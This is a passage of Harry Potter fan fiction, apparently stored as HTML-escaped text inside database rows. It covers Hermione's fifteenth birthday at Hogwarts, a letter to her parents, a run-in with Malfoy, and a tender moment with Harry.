red curtains around my bed. Turning off the annoying buzzer, I saw the numbers 6:00. Pulling the curtains apart, I could see the sun gradually rise from the east window. <i>Another morning, another day, another time to spend my way.</i></p><i>\n</i><p>	&quot;I never understand how you can be up so early? I&#8217;m sure you didn&#8217;t sleep until 1.&quot; Harry jogged in to the Common Room after his morning run. &quot;It&#8217;s only 6:45, and you are working on homework.&quot; He flopped next to me on the couch.</p>\n<p>	&quot;We have a Transfiguration essay due next Wednesday. I have perfect duty for the next 3 days. So I want to stay on top of things and stay on time.&quot; I stated in a matter-of-fact tone. &quot;Besides you know that I never sleep much anyway.&quot;</p>\n<p>	&quot;I know I just don&#8217;t want you over pushing yourself again.&quot; Laying his head on the couch, and closed his eyes. &quot;Also I know that lately you haven&#8217;t been sleeping well. What&#8217;s wrong?&quot; His eyes opened at his own question. <i>Should I tell him? </i>&quot;You can tell me Nene.&quot; I turned my head at my nickname.</p>\n<p>	Since we returned to Hogwarts, we had been swamped with our own activities. Ron was trying his best in getting a position on the Quidditch team. This led him to be busy almost every night. Harry would of course help him and other potential players for the team. I was occupied with perfect duties and tutoring, which I had just started. Also with the O.W.L&#8217;s this year, schoolwork had become more advance to prepare us for it. Yet even with our hectic schedules, we still found some time together at night. When it was just Harry and I, he would become more affectionate and tenderly say my name. I smiled at his express and messy black hair.</p>\n<p>	&quot;My birthday is next Saturday.&quot; I answered softly.</p>\n<p>	&quot;I know. Don&#8217;t worry we remember.&quot; He replied thinking that was my problem. <i>How do I explain</i> <i>without sounding foolish?</i></p><i>\n</i><p><i>	</i>&quot;I wasn&#8217;t afraid you would forget. It&#8217;s just that&#8230;I.&quot; I paused to collect my thoughts. &quot;Remember when I told you about Nice and my family there,&quot; He nodded. &quot;My grandmother lived there occasional when we went to visit Uncle Leroy. Mama was the person who taught me how to sing.&quot; <i>I still hear her elegant voice.</i></p><i>\n</i><p><i>	</i>&quot;So why are you not sleeping well?&quot; </p>\n<p>	&quot;We had the same birthday. She said I was god&#8217;s gift to her.&quot; <i>My angel </i>&quot; Mama passed away 2 years ago during our 3rd year.&quot;</p>\n<p>	&quot;Why didn&#8217;t you mention it to us?&quot; He asked harshly.</p>\n<p>	&quot;Because Ron and you, were mad about the whole firebolt instant and the timeturner was very tiring.&quot;  I twisted my body away. Then I felt his arm pulled me onto his shoulder.</p>\n<p>	&quot;I&#8217;m sorry. I didn&#8217;t mean to sound to crude. I guess I&#8217;m just angry for not being there when you needed me the most. Let my finish before you interrupt. You are a great person Nene and I am positive your grandma is proud of you. She knows you care a lot for her, so don&#8217;t think its silly to miss her. And even if Ron and I are the biggest gits, don&#8217;t ever think we will not care about you.&quot; He compressed closer into me.</p>\n<p>	&quot;Thanks Harry,&quot; I nuzzled on his shirt. He smelled wonderful. It was a combination of fresh pine and sandalwood. Yet the running had made him extremely sweaty, which was very unpleasant. &quot;As much as I like you, you smell awful. Go take a shower.&quot; I pointed towards the shower room.</p>\n<p>	&quot;I thought you would care no matter what.&quot; He playfully answered.</p>\n<p>	&quot;Not when you smell.&quot; I laughed at his puppy dog imitation.</p>\n<p>	&quot;Fine, I&#8217;ll be back in 15 minutes. Then I&#8217;ll join you on that essay,&quot; walking away to his room.</p>\n<p>	&quot;I&#8217;ll be right here.&quot; I smiled to myself. <i>What would I do with out him?</i> </p>\n\n<p>	The week flew by with amazing grace. Ron had successfully been made Keeper for the Gryffindor team. Harry and I were ecstatic for his achievement. Charlie was so proud, he even bought Ron a new broom. Harry was chosen as the new captain unanimously by the whole team. Happily he shrugged, swung his arm around Ron and said this year the Quidditch cup was for sure to Gryffindor. Neville turned out to be an amazing partner when dealing with our duties. He carried out orders and direction with great responsibly. Though we had our moments of mistakes, we understood each other and our own expectations.</p>\n<p>	On the day of my birthday, I woke up from another dream of my grandma. Since it was Saturday, everyone still blissful slept without the worry for classes. I looked out the east window to see the sun glow. The reflection off the glass gleamed into my hair. <i>Happy Birthday Mama. I wish you the best where ever you are.</i></p><i>\n</i><p><i>	</i>The Great Hall was the only room where everything was in common with each house. People chatting about anything and every thing filled space. The sounds of clicking and clacking made a disorder melody. No one seemed to pay attention to things during the time here, because hunger always took control. Also the feeling of being protected afar was kept in my mind. The head table sat some of the greatest witches and wizards, and yet they stayed here in this far away castle to teach children. I sometimes wonder if I could sacrifice my dreams and talent for others that may not appreciate it.</p>\n<p>	Walking in behind Harry and Ron, I was pleasantly surprised by all the people wishing me a happy birthday. Sitting across from them, they asked what I wanted to do for the day. Pouring them pumpkin juice, I smiled with delight. I knew they had been planning a surprise party for me, but not until later tonight. Of course they didn&#8217;t need to be disappointed in my knowledge.</p>\n<p>	Then I head the distant sounds of flapping and the air current change. Suddenly packages were stacked in front me, blocking my view. I heard various noises around me from my other classmates. I received several gifts from distant family members and family friends. My parents had already given me the music box, so they sent pictures of themselves with letters.</p>\n<p>	&quot;How are your parents?&quot; Harry asked after seeing a picture of my dad wearing a baby bow on his head.</p>\n<p>	&quot;Well mom is starting to get weird cravings and she finally finished the new baby room. My dad&#8217;s been busy with his polo team because of the tournament they entered.&quot; I passed a picture of my mom in the new room.</p>\n<p>	&quot;Hermione, your mom is so pretty.&quot; Lavendar said leaning over Harry&#8217;s shoulder. <i>I know</i></p><i>\n</i><p><i>	</i>&quot;Thanks,&quot; I politely answered and returned to my last two gifts. I grabbed the larger box and it smelt of jasmine and bamboo. <i>No, it couldn&#8217;t be. </i>Reaching in, I pulled out a straw patched album full of pictures of the South Pacific. On the first page, was an Asian man paddling in a boat. He was in the action of waving and a big smile across his rugged face.</p>\n<p>	<b>Hermione,</b></p><b>\n<p>Last I head from you; your friend had just left the infirmary. I hope he is better and you did not have to worry too much. It has been awhile since we have seen each other. I&#8217;m positive you have grown into an elegant young lady. I am currently in Ko Samui off the coast of Thailand. The people here are fabulous. They are excellent when we explain health care and prevention treatments. I hope you enjoy the pictures I have taken for you. Almost forgot&#8230;Happy 15 Birthday. Take care and write back soon.</p>\n<p>	The Running Doctor,</p>\n<p>		Winston Cheung</p>\n</b><p>	&quot;Who is that from Mione?&quot; Ron asked with crumbs falling out of his mouth. <i>Boys! </i> Harry just smiled at Ron&#8217;s clueless gesture.</p>\n<p>	&quot;My dad&#8217;s old school chum.&quot; I tried to ignore Ron as he piled more food onto his plate. &quot;After medical school, he returned to Hong Kong. Then he started the South Pacific Awareness Program to help people with health issues. Ron could you please stop stuffing your face like that!&quot; He quickly inserted the double pancakes on his fork. Harry finally couldn&#8217;t handle the situation and started laughing. <i>Why oh why was I stuck with these two? </i>&quot;Any way,&quot; returning to the subject. &quot;We rarely see him in London. He&#8217;s always moving around helping different villages and towns. I&#8217;ve wished so many times to be there with him. I\'ve heard great stories of all the adventures he has encountered.&quot;</p>\n<p>	&quot;So Ron and I weren&#8217;t the only ones to corrupt you. I knew you had a rebellious side in you.&quot; Harry gave the same charming smile. <i>He can be so adorable if he wanted too. </i>Smiling, I unwrapped the smaller gift to find a pair of gold shaped ladybug earrings. &quot;Is that from,&quot; <i>Yes I think it is,</i> &quot;Victor?&quot; <i>He didn&#8217;t even write a note. </i>On the piece of paper, the only words were <b>Happy Birthday &#8230; Victor</b>. <i>You could have just written a quick letter. Honestly Hermione, have you written to the boy? No you haven&#8217;t either. </i>Sensing my silence, they quickly finished breakfast and dragged me off for the day.</p>\n\n<p>	&quot;Please stop. I won&#8217;t be able to laugh anymore. I think my stomach muscle is going to strain.&quot; I said wrapping my arms around myself.</p>\n<p>	&quot;I think I&#8217;m going to pee my pants soon from laughing.&quot; Harry stared at poor Ron.</p>\n<p>	&quot;Go ahead, laugh at the non-muggle. How was I suppose to know that there was two meanings to the word rubber.&quot; We continued to chuckle at his mistake. &quot;I&#8217;ve been nice to you all day Hermione in Hogsmeade for your birthday. Thanks a lot!&quot; He said in a saucy manner. <i>Nene breathe before you disappoint the poor boy nice intentions. </i></p><i>\n</i><p>	&quot;Sorry Ron,&quot; I started to slow my hiccups. &quot;Thank you both for spending the day with me. I had a splendid evening.&quot; I gave them quick hugs.</p>\n<p>	&quot;The night is not over yet.&quot; Ron grinned and gave the password to Fat Lady. <i>Oh I forgot about the party. Must act surprise. </i>Then I heard the voices and the word SURPRISE. Filling the Common Room were gold trims and red balloons in the air. In the corner was a table filled with various beverages and treats. I recognized most of the students to be 4th year and up. <i>I knew Ginny had something to do with this</i>. Confirming my suspicions, she came running into my arms and suffocating hug. Soon I was pushed along, having different people say Happy Birthday to me. After a period of time, Angelina stood in front of the fireplace to make an announcement.</p>\n<p>	&quot;Settle down, we have a few rules before we start this party.&quot; Groans were heard through the crowd and a single boos from Fred or George. &quot;Just a few don&#8217;t worry and I&#8217;ll deal with you later Fred.&quot; <i>Do all Headgirls have this power? </i>&quot;Anyway, Professor McGongall is only allowing this to happen if we clean up after ourselves and go to bed at a reasonable hour. I promised her that it would happen. So I would appreciate it if you would just follow these simple guidelines. Thank you and enjoy the party.&quot; The music started and people&#8217;s chatter returned. She walked over to the couch and sat down besides me. &quot;Happy Birthday Hermione,&quot; she smiled sweetly. &quot;Have fun tonight. You deserve too with everything you have been doing.&quot; She patted my shoulder and left to a very terrified Fred. <i>I wonder what&#8217;s going on with them? </i></p><i>\n</i><p>	&quot;So are you liking the party?&quot; Ginny asked behind me. &quot;Because it took a lot of effort on Ron and Harry to get this to work.&quot; Climbing over the couch and sitting down.</p>\n<p>	&quot;You mean from Angelina and you.&quot; She blushed and bowed her head.</p>\n<p>	&quot;How did you know?&quot; <i>Did she really ask that?</i></p><i>\n</i><p><i>	</i>&quot;Gin, this is Ron and Harry we are talking about. Of course they had help to pull this off. But I know they put a lot of thought in to this, so I am overjoyed for what everyone did.&quot; I smiled showing her my teeth. Then it got very quiet, and I knew something was happening. I looked up to see Harry and Ron pushing a cart with a lighted cake. Stopping they took their places beside me and said, &quot;Make a wish!&quot; <i>Sorry dear readers, birthday wishes are always kept a secret.  </i>Blowing them out, I wiped the single tear streaming down my cheek.</p>\n<p>	&quot;Smile for the camera!&quot; Colin Creevy shouted at the three of us. I had my arms around their waists and their arms on top of my shoulders. We all shared big smiles and laughed at the camera. <i>What was it my dad always said? Oh yes, friends may come in and out of your life, but only best friends stay forever. I hope this last forever.</i></p><i>\n</i><p><i>	</i>The rest of the night was filled with receiving gifts, snacking, joking, and dancing. I&#8217;m proud to say I got to dance with most of the Gryffindor boys. Lavendar and Parvati seemed jealous, but they had hogged Harry most of the night. At the end of the party only Ron, Harry, Ginny, and I were left in the Common Room. Ginny and I were leaning against each other on the single couch. Harry was slumped on the sofa using his arm to keep his head up. And Ron was sprawled on the carpet. <i>I told him to cut back on the butterbeers. </i></p><i>\n</i><p>	&quot;Well I am tired. Hermione do you want to walk up together?&quot; Ginny stretched her arms and back.</p>\n<p>	&quot;No, I think I&#8217;ll stay down here a little bit longer.&quot; I laid my head on the armrest.</p>\n<p>	&quot;Okay, goodnight Hermione. Goodnight Harry.&quot; She walked over to Ron, and gently kicked him. &quot;Come on big brother, get up, I&#8217;ll bring you to your room.&quot; She started to kneel down. Turning over, sounds of protest were made from him. Ginny sighed for help to deal with Ron. <i>It&#8217;s always up to me. </i></p><i>\n</i><p>Standing up, I leaned over Ron and whispered, &quot;Time to get up Ron.&quot; Still no movement, &quot;Ron I don&#8217;t know how to tell you this.&quot; I paused to sound scared. &quot;But there is this huge spider on your stomach.&quot;</p>\n<p>	&quot;Great Merlin, get it off.&quot; He sprang up brushing himself with his hands. After realizing our giggles he groaned in defeat. &quot;That was so mean Mione.&quot; He glared but yawned at once.</p>\n<p>	&quot;Sorry,&quot; I grabbed his palm and kissed it. &quot;Thank you Ron for the party but you need sleep.&quot; Pushing him to Ginny they slowly trotted up the stairs. Gazing to my left, I saw Harry sitting up and motioning me to sit down. <i>He&#8217;s up to something, especially with the mischievous grin. </i>He handed me a package, which seem to appear from thin air. &quot;Harry?&quot; <i>You have already done so much. </i></p><i>\n</i><p>	&quot;Open it,&quot; he spoke anxiously. Under a velvet box, laid a silver bracelet with different color charms. As I looked closer, and they were the names people would call me. Hermione (blue), Mione (red), Juliet (purple), Angel (silver), Ann (green), Sunshine (orange), and Granger (gold). &quot;I wasn&#8217;t sure if you would like it. It seems tacky to give it to you now.&quot; He replied questionably. <i>It&#8217;s an amazing gift. </i>I throw my arms around him and placed my head on his shoulder.</p>\n<p>	&quot;It&#8217;s incredible Harry. Put it on for me?&quot; I murmured into his ear. Giving him my wrist, he delicately placed it around me.</p>\n<p>	&quot;You knew about the party, didn&#8217;t you?&quot; he asked directly after clasping the bracelet. I stayed silent. &quot;I heard you breathe in deeply, then you had this weird glint in your eyes when you acted surprised.&quot; <i>Oh I was obvious</i>. <i>I wanted them to feel like they got me surprised. </i></p><i>\n</i><p>	&quot;I&#8217;m shocked every second with you two. It doesn&#8217;t matter if it&#8217;s during class with untimed statements or for my birthday. Either way I&#8217;m still here listening to what you say or do.&quot; I brushed his messy hair revealing his famous scar.</p>\n<p>	&quot;I can&#8217;t keep any secrets from you. You are just to brilliant for your own good.&quot; He played with my hair.</p>\n<p>	&quot;Of course not. So don&#8217;t think, you can hide anything from me, Harry Potter.&quot; I stretched in front of the fireplace.</p>\n<p>	&quot;Nene?&quot; Harry softly asked. I turned at his sudden monotone voice. &quot;She was right.&quot; He stated standing up with conviction. </p>\n<p>	&quot;Who was right?&quot; I stepped closer to him.</p>\n<p>	&quot;You are a gift from god.&quot; <i>I think I&#8217;m dreaming. </i>He snatched me into a tender hug and I felt nothing but the beating of his steady heart. Raising my head from his chest, I placed a slight kiss on his cheek.</p>\n<p>	&quot;Thank you Harry for the party, gift, and just listening to me. Goodnight.&quot; I was about to walk away when he tugged me back towards his body.</p>\n<p>	&quot;Not so fast,&quot; he said playfully. I started hearing a soft hum in my ears. &quot;I&#8217;ve been aching to dance with a beautiful girl this whole night.&quot; He grinned in a teasing manner.</p>\n<p>	&quot;I wonder who she could be?&quot; I acted unknowingly. </p>\n<p>	&quot;My Nene, you are a smart girl, I&#8217;m sure you can find out if you wanted.&quot; He chuckled then we started twirling around the empty room. If I were thinking, I would have thought more about the comment. But the atmosphere was glowing with the burning fire, and sparkling stars outside. The energy of the party still resided inside us, and I giggled with silliness. Everything seemed too wonderful to worry about anything else. Yet if I would have paid attention, I would noticed Harry&#8217;s eyes which seem to be hiding a deep secret. Maybe that was the problem between us through out our relationship. We always had secrets and things we wouldn&#8217;t say. But for now things were kept simple, because neither of us was ready to face the truth.</p>\n\n'),
	(239, 7, '\n\n<p>Disclaimer: No these wonderful characters still do not belong too me.</p>\n\n<p>Anyway this chapter is really long. Well at least I think it is. Thanks to everyone who has been sending in reviews. A huge thanks to Jenn a.k.a. Lady Raven who corrects my mistakes. I hope you enjoy the next chapter.</p>\n\n<b><u><p align="CENTER">The Middle of Understanding</p>\n</u></b><p align="CENTER">Chapter 6</p>\n<b><p align="CENTER">Boys</p>\n</b>\n<p>	<b>Dear Mom and Dad,</b></p><b>\n<p>     I&#8217;m sorry I haven&#8217;t written in awhile. It has been hectic with Halloween coming up. 3rd years and up are free to go to Hogsmeade on Halloween. The 5th years to 7th years can stay until nighttime.  Some of us Perfects had mentioned this idea to the Heads and they were fully supportive in our goal. Roger was even kind enough to make the arrangements with the Headmaster.</p>\n<p>     Harry is well. I think he said he was going to write you soon. He has been extremely busy with Ron since they have a Quidditch match against Slytherin this Saturday. I know in my last letter I wrote you how occupied they are with Quidditch. Lately I have this feeling that it is something else. I might be over analyzing but I feel like they are not fully telling me the truth. I told Ginny my suspicions and she called me a worry bug. Do you think I am to paranoid?</p>\n<p>     Anyway school is going well. Still top scores Dad, so you can brag to all your friends about me. Professor Snape is still intolerable but he knows what he is teaching. And yes I do feel guilty for calling him those nasty names in my last letter. Professor Figgs has been a wonderful teacher. I&#8217;m so happy that Professor Dumbledore decided to hire a woman to teach Defense Against the Dark Arts. Yet through these weeks, none of us has seen her real face. She still comes in disguises in our classes. Hopefully some day I will see who she really is. I wonder what she is hiding?</p>\n<p>	I hope everything is going well at home. Do you have a picture of what the baby looks like? Has the doctor said when we can found out the gender? I&#8217;m getting so impatient. I wish I could help you dad with the midnight runs to the supermarket. Mom I hope your feet feel better. Remember to soak them in warm water. Try to stay out of trouble Dad. I heard from Mom that you almost broke your nose trying to win a fencing match. I miss you both tremendously. Love you, always will and never half way.</p>\n<p>	Love,</p>\n</b><p>		<b>Nene</b></p><b>\n</b><p>	<i>Well there is one less thing off my to do list. Okay Nene where did you place your planner? How did I end up with some many books on this table?</i></p><i>\n</i><p>	&quot;Hermione, I&#8217;ve been searching every where for you.&quot; A deep clear voice asked. Glancing from my piles of books, I saw oak brown hair and wide peanut eyes.</p>\n<p>	&quot;Hello Roger, I&#8217;m surprised. Doesn&#8217;t everyone know I am always in the library.&quot; I joked lightly.</p>\n<p>	&quot;Sometimes I never go to the obvious answer.&quot; He gave a playfully smile. &quot;Besides I assumed you would be watching the Gryffindor team practice. Practically every girl in this school is out there.&quot;</p>\n<p>	&quot;I have never followed the crowd or been a typical girl.&quot; I answered briskly. He grinned which made him look very fetching.</p>\n<p>	&quot;I&#8217;ve noticed.&quot; I blushed at his comment. &quot;Anyway our meeting is changing to tomorrow at 8pm instead of tonight.&quot; His hands leaned against the empty chair across from me.</p>\n<p>	&quot;Oh, sounds good. I have a Potions assignment due tomorrow, which I should go over again.&quot; I started rummaging for the parchment.</p>\n<p>	&quot;Do you need help? It&#8217;s been awhile but I still remember most of my 5th potions class.&quot; He quickly winked.</p>\n<p>	&quot;If you have time? I wouldn&#8217;t want to keep you occupied here.&quot; I started fidgeting with my hands. <i>Why are you nervous Hermione? Pull yourself together. It&#8217;s only Roger Davis</i>.</p>\n<p>	&quot;I would be glad to help a lady with my services.&quot; Walking around the table, he sat down and we filled the next few hours with conversations about school, friends, and hobbies.</p>\n<p>	&quot;I still can not picture you to be a painter.&quot; Roger said doubtingly as we walked to the Great Hall.</p>\n<p>	&quot;Why not?&quot; <i>Is it really that hard to believe?</i></p><i>\n</i><p>	&quot;Painting just seems so abstract. You just carry yourself to be a very logical person.&quot;</p>\n<p>	&quot;Painting can also be about detail, which I think I am. Actually my dad is very detailed and he taught me how to paint.&quot; I smiled remembering my dad&#8217;s goofiness. Arriving at the Great Hall, Roger opened the door and let me in first. Entering in, I was hit with the scent of roast chicken and mash potatoes. <i>Oh that smells wonderful</i>. &quot;Thanks for the help Roger. I&#8217;ll see you tomorrow.&quot; I gave him a quick smile.</p>\n<p>	&quot;Anytime, I&#8217;ll remember to look in the library first next time.&quot; He nodded and headed towards the head table. Reaching my usual spot, I noticed that all the Gryffindor girls were surrounding Harry and Ron. <i>Well, well what do we have here? </i>Clearing my throat, they looked up from their plates with eyes of relief. Most of the girls stopped talking to see who had finally got the two boys attention so well.</p>\n<p>	&quot;Hermione, where have you been?&quot; Harry asked desperately.</p>\n<p>	&quot;Mione, we saved you a seat.&quot; Ron pointed across from them. But the young girls seem to move closer, enclosing the poor boys.</p>\n<p>	&quot;Actually it seems pretty full. I&#8217;ll go sit by Ginny. I am sure you two Strong Handsome boys can handle dinner all by yourself.&quot; Sensing my departure, the young ladies quickly reentered the topics to gain my best friend&#8217;s attentions. At the end of the table, I found Ginny sitting with Charlie. Even though he was a teacher, he still found time to spend with the family. I envied their family because they always were connected in some way without even saying it out loud. But soon I would be having my own sibling to watch and care for.</p>\n<p>	&quot;Hermione, I can&#8217;t believe you just left them to fend for themselves.&quot; Charlie pointed at my helpless friends. &quot;I understand what they are going through and ladies it is not pleasant.&quot; He stated swinging his mug around.</p>\n<p>	&quot;Oh hush Charlie. They are loving it and you know it because you loved it too.&quot; Ginny remarked while handling me the mash potatoes. <i>She always knew what I was thinking. </i>I smiled at her comment.</p>\n<p>	&quot;I was just presuming that the big Quidditch players would want some time alone with their adoring fans.&quot; I innocently replied and batted my eyes.</p>\n<p>	&quot;I&#8217;ll never win with two witty girls.&quot; We grinned evilly and we enjoyed the rest of our meal in silliness at their situation.</p>\n<p>	After dinner Neville had asked me to switch places patrolling tonight. He said he had not finished his Potions assignment and was still missing several inches. I scolded him for a few minutes then finally agreed a upon seeing his embarrassed face.</p>\n<p>	When I first arrived at Hogwarts, I thought I was in a fairy tale turn reality in the castle. The large stone walls and mysterious corridors screamed adventure. It had a romantic aura, which no author could ever describe to me. Even though I am older, walking in these halls still make my imagination run. I feel like I could be a heroine waiting for her lost lover. Or a lonely victim soon to be attacked by a great monster. What&#8217;s funny is that it could probably happen in Hogwarts. The unimaginable or impossible always seem to become real.</p>\n<p>	Turning the corner, I saw four figures lurking around the hall. <i>Well time to be the Perfect</i>. &quot;It is 10 minutes to curfew. I suggest you return to your Common Room before you start losing house points.&quot; I imitated my best Percy tone. Startling the four, they stopped at my voice.</p>\n<p>	&quot;What Granger? Are you not going to sprout facts of why we should go back? Or do you only tell idiots like Neville what to do?&quot; Malfoy sneered with the others three laughing along. To his left stood the Goon twins, Goyle and Crabbe, eating still. His right stood a young boy with blonde hair and light blue eyes. He looked be to a 1st or 2nd year. <i>What was his name again?</i></p><i>\n</i><p>	&quot;Yeah Granger, sod off and bore someone else.&quot; He tired copying Malfoy&#8217;s smirk. <i>Great he has a prot&#233;g&#233;s now. </i>His comment seemed to please the older housemates because it made them laugh harder.</p>\n<p>	&quot;Look Malfoy, I really don&#8217;t care what you are doing or where you are going. As a perfect, you know they are not allowed in the halls after curfew. Just do your job or I will.&quot; I narrowed my eyes and walked away. After two steps, I was pushed down to the cold hard floor.</p>\n<p>	Bang&#8230;<i>oh great Merlin my wrist.</i></p><i>\n</i><p>	With pure venom, I shot my glare towards Malfoy to see him standing behind the young boy. <i>Peter Kingston! Why do all followers have to be named Peter? </i>&quot;Why Malfoy I didn&#8217;t know you had younger boys do your dirty work?&quot; I started rising from the floor still gripping my hurt wrist. &quot;Afraid doing it yourself would result in failure? I understand though, your achievements are nothing near mine.&quot; I challenged coldly. </p>\n<p>	&quot;Watch what you say Granger. Your two dim wit friends are not here to save you.&quot; He plainly responded pushing Peter behind him. <i>Great moves Granger. Now you have a boy strong and faster standing</i> <i>3 feet away from you. Think, think, think, before you become the next Slytherin conquest.</i> &quot;Or do you think you can handle me?&quot; He arrogantly raised one eyebrow. <i>What the hell does that mean? </i>In an instant I was pushed against the wall very hard.</p>\n<p>	&quot;Get your hands off her Malfoy!&quot; I heard someone yell. &quot;If you want to fight, I&#8217;m standing here waiting.&quot; I slowly looked up to see Harry and Ron with their wands out. <i>I have never been so happy to see them. </i>&quot;Ron go help Hermione.&quot; Ron nodded and walked over to my limp body. He gently wrapped his arm around my waist and kissed my hair.</p>\n<p>	&quot;Are you all right Mione?&quot; He asked stiffly. I leaned against him and lazily nodded.</p>\n<p>	&quot;What Potter? She ran into the wall herself. I think those books are starting to mess with her head. Or maybe the mudblood finally realized she should rid her self to save us from seeing her inferior existence.&quot; He said without a single wink.</p>\n<p>	Bang&#8230;Smack&#8230;Thump&#8230;Ah&#8230;!</p>\n<p>	I stared in wonder of what just happened. Harry had hit Malfoy in the stomach off guard. Then slap Goyle across the face, when Goyle had tried pushing Harry. After that he did a swipe kick to drop Crabbe on the floor. Lastly Peter was scared off by a very deadly glare from Harry. Still awestruck by the moment, I didn&#8217;t hear him call my name until he tapped my shoulder.</p>\n<p>	&quot;Hermione, are you all right? Did Malfoy hurt you?&quot; Harry asked concerned.</p>\n<p>	&quot;My wrist hurts but I&#8217;m sure it&#8217;s no big deal.&quot; I tried to shrug off the pain.</p>\n<p>	&quot;Come on, we are taking you to see Madam Pomfrey.&quot; He grabbed my other wrist and carted me away.</p>\n<p>	Once we were in the hospital wing, I explained what had happened before they had found me with Malfoy. Ron was upset because he didn&#8217;t get to fight Malfoy himself and Harry was very quiet. After 15 minutes, Madam Pomfrey said I could leave and just to be careful with it for the next week or so. Leaving the infirmary, we heard Ron suddenly groan in pain. I turned to see him holding his left side.</p>\n<p>	&quot;Ron are you hurt? What&#8217;s wrong?&quot; I rushed to his side. <i>Why is he hurt? He hasn&#8217;t done anything to cause him in pain?</i></p><i>\n</i><p>	&quot;Hermione, he&#8217;ll be fine. I&#8217;m sure he just ate something bad.&quot; Harry gentle pulled me away. &quot;I am taking him back to Madam Pomfrey&#8217;s office. Wait here for me.&quot; Then he took Ron to into the infirmary, leaving my thoughts to wonder back to Malfoy. <i>Why is he so spiteful towards us or even me? I still don&#8217;t understand why? Are we forever stocked by hate? Do I have to live in fear knowing you will never</i> leave <i>me alone?</i> &quot;Nene, lets go.&quot; Harry spoke smoothly sensing my thoughts elsewhere. <i>So this is how Harry feels. Living in fear most be very tiring because I feel like I&#8217;m walking in a fog. </i>&quot;Are you cold?&quot; <i>Cold no</i> <i>I&#8217;m not cold. I just felt so alone and scared. What where they going to do, if Harry and Ron were not there? Would they really hurt me? No they are still kids. But the way they look at me, which was not childish. </i>&quot;Why are you shivering?&quot;</p>\n<p>	&quot;I&#8217;m fine Harry. I guess I&#8217;m just thinking about what happened.&quot; I muttered more to myself then to him. &quot;Harry I don&#8217;t need your cloak.&quot; I tried returning his robe.</p>\n<p>	&quot;Hermione for once just do something without responding.&quot; He sternly replied and briskly walked back to Gryffindor tower. Since he was 5 inches taller, his pace exceed mine. A few steps behind, I found him standing in front of the portrait waiting for me. As we entered, we were collided with starry-eyed girls. Surrounding Harry, they frivolously chatted about Quidditch and his accomplishments. I was jostled aside without a glance from them. &quot;Would you all just give me a moment of peace!&quot; He roared though the crowd. The room became very quiet by his outburst. &quot;I&#8217;m going upstairs to my room and I do not want any disruptions.&quot; He glanced towards his roommates. &quot;Hermione I want to talk to you alone. Come upstairs in a few minutes.&quot; Harry ascended the stairs and silence still stayed. After hearing the door slam, voices began like a tidal wave. Of course I was the center of attention and their eyes followed me everywhere. Feeling incredible tired; I sat in front of the fireplace pulling Harry&#8217;s cloak tighter around me. </p>\n<p>	Cautiously Ginny came over and sat besides me. &quot;What happened? Did Harry and you fight?&quot; <i>No that&#8217;s the problem; he was saving me not fighting me.</i></p><i>\n</i><p><i>	</i>&quot;I had a row with Malfoy and his goons. Harry and Ron found me right when it was getting serious. I just sprained my wrist but I didn&#8217;t think it was a big deal. Harry&#8217;s been pretty sullen since we left the infirmary.&quot; I gazed into the animated flames. <i>Why is he so angry? I don&#8217;t want to feel scared right now. Just safe, like how I feel with his cloak around me. It makes me feel warm and shielding from the cold.</i></p><i>\n</i><p><i>	</i>&quot;Where is Ron?&quot; She asked looking around.</p>\n<p>	&quot;He wasn&#8217;t feeling well. Harry said it was probably something he ate. But it was his left side, and we have been eating the same thing.&quot; I started replaying the scene over again.</p>\n<p>	&quot;Oh yes, he has been having stomach and side ache problems. You know Ron and his eating habits.&quot; She smiled earnestly. I gave a clumsy smile back. &quot;As for Harry, I&#8217;m sure he&#8217;s just mad about what happened to you.&quot;</p>\n<p>	&quot;What do you mean?&quot; <i>Shouldn&#8217;t I be the one mad?</i></p><i>\n</i><p><i>	</i>&quot;Mione, Harry&#8217;s always been overprotective of his friends and you&#8217;re his best friend. Of course he would be mad. He feels that he needs to protect you.&quot; <i>What!</i></p><i>\n</i><p><i>	</i>&quot;Ginny I can take care of myself. I&#8217;m highly capable of handling my own problems.&quot; I lowered my voice.</p>\n<p>	&quot;But Hermone, he cares a lot about you. If you haven&#8217;t noticed your one of the only people he talks to freely. I mean come on, who can actually say they are friends or even best friends with Harry Potter. He only lets you see a side of him, that some of us dream about.&quot; I nodded passively. &quot;You know that Ron and you have always been his soft spot. He never wants to see you two hurt.&quot; <i>But that still doesn&#8217;t mean that I&#8217;m his responsibly. </i>&quot;Go talk to him like you always do.&quot; <i>Granger muster up your Gryffindor bravery and face your best friend.</i></p><i>\n</i><p>	&quot;Thanks Gin.&quot; <i>It should not be this hard sometimes.</i></p><i>\n</i><p><i>	</i>Knock&#8230;Knock&#8230; <i>Here goes nothing.</i></p><i>\n</i><p><i>	</i>&quot;Harry I just&#8230;&quot; Before I could finish, he throw his arms around me, muffling my sentence. We stood for several minutes, while Harry embraces intensely held me. Letting go he closed the door and I sat on his bed. He swiftly crossed the room, and kneeled in front of me. Grabbing my right hand, he careful examined for a trance of injury. <i>When did his hands become so strong and tender?</i></p><i>\n</i><p>	&quot;I wanted to hurt him so bad Hermione. When I saw him push you into the wall, I thought I was going to attack him right there. And then those annoying smiles on their faces made me want to hit them.&quot;</p>\n<p>	&quot;Harry you did a pretty good job of beating them. They didn&#8217;t even have a chance against you.&quot; I proudly answered with a hint of amusement.</p>\n<p>	&quot;I&#8217;m serious Hermione. Seeing you hurt made me cry inside.&quot; He gently put my hand over his heart. &quot;Promise me something?&quot; He slowly rubbed my wrist in delicate circles. <i>That feels so good.</i></p><i>\n</i><p>	&quot;What is it?&quot; I spoke softly.</p>\n<p>	&quot;If Ron or I are not around when Malfoy is there, please walk away.&quot; I snapped back to reality. <i>Pardon me!</i></p><i>\n</i><p><i>	</i>&quot;Harry Potter, I am perfectly capable of taking care of myself.&quot; I stood with my hands on my hips. He followed my gesture.</p>\n<p>	&quot;Hermione your wrist was sprained. You were pushed against a wall and they looked like they were just starting.&quot;</p>\n<p>	&quot;I was caught off guard!&quot; I called out.</p>\n<p>	&quot;He&#8217;s quicker and stronger then you. You may know a lot of charms or spells, but physically he or anyone else could crush you.&quot; He answered solemnly.</p>\n<p>	&quot;Well even if they could, it is not your or Ron&#8217;s job to protect me.&quot; I replied glancing away from his vivid eyes.</p>\n<p>	&quot;It became my responsibility, the day I made you cry.&quot; He wiped my unconscience tear. &quot;Or when you screamed for help from the mountain troll.&quot; He caressed my cheek. &quot;Or the time Malfoy called you mudblood for the first time.&quot; His finger raised my chin. &quot;Or when I realized, I couldn&#8217;t stand the thought of you in pain, because it hurts ten times worst knowing it was you.&quot; His green eyes were dancing with emotion, and I felt drowning in his passion. I felt him lean in closing the gap between us. I could hear his breathing mixed with my own. 